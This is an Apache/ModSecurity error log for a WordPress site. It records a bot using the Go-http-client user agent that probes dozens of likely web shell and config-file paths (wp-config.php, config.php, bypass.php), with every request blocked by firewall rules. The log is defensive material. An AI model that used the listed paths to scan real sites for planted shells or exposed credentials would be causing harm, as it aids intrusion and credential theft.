[Sat Apr 25 14:00:20.264811 2026] [:error] [pid 46083:tid 46104] [client 193.37.32.146:30121] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wordpress-seo/wp-seo-trigger.php"] [unique_id "aexYdDxw_Zq74vWdjmnqRgAAARE"]
[Sat Apr 25 14:00:20.765440 2026] [:error] [pid 46083:tid 46089] [client 193.37.32.146:31801] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/contact-form-7/admin/css/styles-rtl.php"] [unique_id "aexYdDxw_Zq74vWdjmnqRwAAAQI"]
[Sat Apr 25 14:00:21.031640 2026] [:error] [pid 46083:tid 46101] [client 193.37.32.132:32279] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentyfifteen/content-search.bar.php"] [unique_id "aexYdTxw_Zq74vWdjmnqSAAAAQ4"]
[Sat Apr 25 14:00:21.235901 2026] [:error] [pid 44320:tid 44364] [client 193.37.32.163:48383] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentyfourteen/inc/widgets-core.php"] [unique_id "aexYdTmFqSpku_dij8jDyAAAAEg"]
[Sat Apr 25 14:00:21.434088 2026] [:error] [pid 44319:tid 44344] [client 193.37.32.147:34619] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/mediaelement/wp-mediaelement.php"] [unique_id "aexYdczJPAVLUb2pWtKXkwAAAA8"]
[Sat Apr 25 14:00:21.633588 2026] [:error] [pid 46083:tid 46090] [client 193.37.32.163:21733] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/thickbox/class-menushelp.php"] [unique_id "aexYdTxw_Zq74vWdjmnqSQAAAQM"]
[Sat Apr 25 14:00:21.834784 2026] [:error] [pid 46083:tid 46112] [client 193.37.32.175:30791] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/feed-data.php"] [unique_id "aexYdTxw_Zq74vWdjmnqSgAAARg"]
[Sat Apr 25 14:00:22.133326 2026] [:error] [pid 44319:tid 44330] [client 193.37.32.169:56543] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/header.item.php"] [unique_id "aexYdszJPAVLUb2pWtKXlAAAAAE"]
[Sat Apr 25 14:00:22.337327 2026] [:error] [pid 44320:tid 44374] [client 193.37.32.139:58855] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/capabilities-json.php"] [unique_id "aexYdjmFqSpku_dij8jDygAAAFI"]
[Sat Apr 25 14:00:22.551515 2026] [:error] [pid 44425:tid 44440] [client 193.37.32.135:52499] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.audio.ogg-data.php"] [unique_id "aexYdiUl-VlItvY2tR-NZAAAAM0"]
[Sat Apr 25 14:00:22.770464 2026] [:error] [pid 44425:tid 44429] [client 193.37.32.135:54381] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-calendar-js.php"] [unique_id "aexYdiUl-VlItvY2tR-NZQAAAMI"]
[Sat Apr 25 14:00:23.029819 2026] [:error] [pid 44321:tid 44404] [client 193.37.32.141:51447] [client 193.37.32.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyone/assets/"] [unique_id "aexYd41b5lV-asWa_Y6VjAAAAJU"]
[Sat Apr 25 14:00:23.249055 2026] [:error] [pid 44321:tid 44392] [client 193.37.32.154:30929] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/footnotes/"] [unique_id "aexYd41b5lV-asWa_Y6VjQAAAIk"]
[Sat Apr 25 14:00:28.555993 2026] [:error] [pid 44321:tid 44392] [client 193.37.32.141:21393] [client 193.37.32.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Utility/"] [unique_id "aexYfI1b5lV-asWa_Y6VlwAAAIk"]
[Sat Apr 25 14:00:28.931735 2026] [:error] [pid 44320:tid 44359] [client 193.37.32.133:58955] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/config.php"] [unique_id "aexYfDmFqSpku_dij8jD0AAAAEM"]
[Sat Apr 25 14:00:29.243677 2026] [:error] [pid 44321:tid 44399] [client 193.37.32.155:42709] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/config.php"] [unique_id "aexYfY1b5lV-asWa_Y6VmQAAAJA"]
[Sat Apr 25 14:00:29.639348 2026] [:error] [pid 44321:tid 44386] [client 193.37.32.168:49341] [client 193.37.32.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/settings.php"] [unique_id "aexYfY1b5lV-asWa_Y6VmwAAAIM"]
[Sat Apr 25 14:00:29.881370 2026] [:error] [pid 44321:tid 44400] [client 193.37.32.147:26881] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-load.php"] [unique_id "aexYfY1b5lV-asWa_Y6VnQAAAJE"]
[Sat Apr 25 14:00:30.147145 2026] [:error] [pid 44320:tid 44375] [client 193.37.32.172:62265] [client 193.37.32.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/config.php"] [unique_id "aexYfjmFqSpku_dij8jD0QAAAFM"]
[Sat Apr 25 14:00:30.359840 2026] [:error] [pid 44320:tid 44368] [client 193.37.32.150:20675] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aexYfjmFqSpku_dij8jD0gAAAEw"]
[Sat Apr 25 14:00:30.580322 2026] [:error] [pid 44425:tid 44435] [client 193.37.32.172:61393] [client 193.37.32.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/"] [unique_id "aexYfiUl-VlItvY2tR-NZwAAAMg"]
[Sat Apr 25 14:00:30.820901 2026] [:error] [pid 44425:tid 44443] [client 193.37.32.154:60091] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/Base.php"] [unique_id "aexYfiUl-VlItvY2tR-NaAAAANA"]
[Sat Apr 25 14:00:31.072844 2026] [:error] [pid 44319:tid 44351] [client 193.37.32.138:20549] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/Cap.php"] [unique_id "aexYf8zJPAVLUb2pWtKXmQAAABY"]
[Sat Apr 25 14:00:31.277476 2026] [:error] [pid 44319:tid 44348] [client 193.37.32.112:59693] [client 193.37.32.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/theme-compat/config.php"] [unique_id "aexYf8zJPAVLUb2pWtKXmgAAABM"]
[Sat Apr 25 14:00:31.567377 2026] [:error] [pid 44425:tid 44439] [client 193.37.32.137:55425] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/config.php"] [unique_id "aexYfyUl-VlItvY2tR-NagAAAMw"]
[Sat Apr 25 14:00:31.927502 2026] [:error] [pid 46083:tid 46095] [client 193.37.32.107:35273] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/config.php"] [unique_id "aexYfzxw_Zq74vWdjmnqSwAAAQg"]
[Sat Apr 25 14:00:32.137876 2026] [:error] [pid 46083:tid 46087] [client 193.37.32.145:64947] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-config.php"] [unique_id "aexYgDxw_Zq74vWdjmnqTAAAAQA"]
[Sat Apr 25 14:00:32.357962 2026] [:error] [pid 46083:tid 46093] [client 193.37.32.155:30859] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/config.php"] [unique_id "aexYgDxw_Zq74vWdjmnqTQAAAQY"]
[Sat Apr 25 14:00:32.676370 2026] [:error] [pid 46083:tid 46109] [client 193.37.32.141:58175] [client 193.37.32.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/config.php"] [unique_id "aexYgDxw_Zq74vWdjmnqTgAAARU"]
[Sat Apr 25 14:00:33.177781 2026] [:error] [pid 46083:tid 46102] [client 193.37.32.141:28391] [client 193.37.32.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/wp-load.php"] [unique_id "aexYgTxw_Zq74vWdjmnqTwAAAQ8"]
[Sat Apr 25 14:00:38.759863 2026] [:error] [pid 46083:tid 46104] [client 193.37.32.134:60073] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/login.php"] [unique_id "aexYhjxw_Zq74vWdjmnqVQAAARE"]
[Sat Apr 25 14:00:38.969772 2026] [:error] [pid 46083:tid 46094] [client 193.37.32.109:48969] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/config.php"] [unique_id "aexYhjxw_Zq74vWdjmnqVgAAAQc"]
[Sat Apr 25 14:00:39.171682 2026] [:error] [pid 44321:tid 44393] [client 193.37.32.135:49381] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/config.php"] [unique_id "aexYh41b5lV-asWa_Y6VowAAAIo"]
[Sat Apr 25 14:00:39.444647 2026] [:error] [pid 44321:tid 44399] [client 193.37.32.106:44827] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/wp-config.php"] [unique_id "aexYh41b5lV-asWa_Y6VpAAAAJA"]
[Sat Apr 25 14:00:39.728652 2026] [:error] [pid 44320:tid 44379] [client 193.37.32.109:33211] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/app.php"] [unique_id "aexYhzmFqSpku_dij8jD1gAAAFc"]
[Sat Apr 25 14:00:39.964879 2026] [:error] [pid 44320:tid 44366] [client 193.37.32.142:53047] [client 193.37.32.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/config.php"] [unique_id "aexYhzmFqSpku_dij8jD1wAAAEo"]
[Sat Apr 25 14:00:40.186415 2026] [:error] [pid 44319:tid 44346] [client 193.37.32.107:49215] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/footer.php"] [unique_id "aexYiMzJPAVLUb2pWtKXnwAAABE"]
[Sat Apr 25 14:00:40.458617 2026] [:error] [pid 46083:tid 46105] [client 193.37.32.168:26093] [client 193.37.32.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/search/config.php"] [unique_id "aexYiDxw_Zq74vWdjmnqWQAAARI"]
[Sat Apr 25 14:00:40.738859 2026] [:error] [pid 44320:tid 44380] [client 193.37.32.107:61951] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/config.php"] [unique_id "aexYiDmFqSpku_dij8jD2QAAAFg"]
[Sat Apr 25 14:00:40.944879 2026] [:error] [pid 44320:tid 44360] [client 193.37.32.150:32603] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/login.php"] [unique_id "aexYiDmFqSpku_dij8jD3AAAAEQ"]
[Sat Apr 25 14:00:41.176939 2026] [:error] [pid 44425:tid 44442] [client 193.37.32.106:63305] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/config.php"] [unique_id "aexYiSUl-VlItvY2tR-NbAAAAM8"]
[Sat Apr 25 14:00:41.380485 2026] [:error] [pid 44320:tid 44361] [client 193.37.32.168:54867] [client 193.37.32.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/init.php"] [unique_id "aexYiTmFqSpku_dij8jD3gAAAEU"]
[Sat Apr 25 14:00:41.579127 2026] [:error] [pid 46083:tid 46111] [client 193.37.32.107:32315] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/config.php"] [unique_id "aexYiTxw_Zq74vWdjmnqWwAAARc"]
[Sat Apr 25 14:00:41.824935 2026] [:error] [pid 44320:tid 44364] [client 193.37.32.146:52117] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-config-backup.php"] [unique_id "aexYiTmFqSpku_dij8jD3wAAAEg"]
[Sat Apr 25 14:00:42.054467 2026] [:error] [pid 44320:tid 44371] [client 193.37.32.144:38603] [client 193.37.32.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/backup-migration/config.php"] [unique_id "aexYijmFqSpku_dij8jD4AAAAE8"]
[Sat Apr 25 14:00:42.262576 2026] [:error] [pid 44320:tid 44374] [client 193.37.32.169:34091] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/redux/"] [unique_id "aexYijmFqSpku_dij8jD4QAAAFI"]
[Sat Apr 25 14:00:42.465453 2026] [:error] [pid 44320:tid 44369] [client 193.37.32.137:20737] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/themes/config.php"] [unique_id "aexYijmFqSpku_dij8jD4gAAAE0"]
[Sat Apr 25 14:00:42.773525 2026] [:error] [pid 44319:tid 44342] [client 193.37.32.158:35449] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/config.php"] [unique_id "aexYiszJPAVLUb2pWtKXoAAAAA0"]
[Sat Apr 25 14:00:43.021242 2026] [:error] [pid 44319:tid 44341] [client 193.37.32.169:52239] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/bypass.php"] [unique_id "aexYi8zJPAVLUb2pWtKXogAAAAw"]
[Sat Apr 25 14:00:43.252047 2026] [:error] [pid 44319:tid 44334] [client 193.37.32.157:25747] [client 193.37.32.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/class.php"] [unique_id "aexYi8zJPAVLUb2pWtKXowAAAAU"]
[Sat Apr 25 14:00:43.466103 2026] [:error] [pid 44425:tid 44446] [client 193.37.32.156:22911] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/config.php"] [unique_id "aexYiyUl-VlItvY2tR-NbQAAANM"]
[Sat Apr 25 14:00:43.671119 2026] [:error] [pid 44320:tid 44366] [client 193.37.32.109:31113] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/login.php"] [unique_id "aexYizmFqSpku_dij8jD4wAAAEo"]
